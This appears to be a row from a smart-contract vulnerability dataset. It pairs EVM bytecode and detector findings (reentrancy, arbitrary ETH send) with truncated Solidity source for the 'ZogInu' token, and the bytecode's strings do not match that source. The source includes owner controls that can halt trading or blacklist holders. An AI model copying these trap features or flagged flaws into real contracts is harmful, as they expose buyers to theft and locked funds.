e0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f7053484942410000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6b554cab27e81bb704c8c3a0793ec8f8057e4dfa11f7ede5d236789bcad712b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,036 |
0x4b296eea06e5ac55dcde264d6f7f34de13a600b2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
ZogInu Inu
https://t.me/ZogInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ZogInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ZogInu";
string private constant _symbol = "ZogInu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3a0D6e3a16c9cC560e96e48D890278129989a3F7);
address payable private _marketingAddress = payable(0x709b74Ee88A316e2D8E5ec7E7dBffC50b27293fb);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
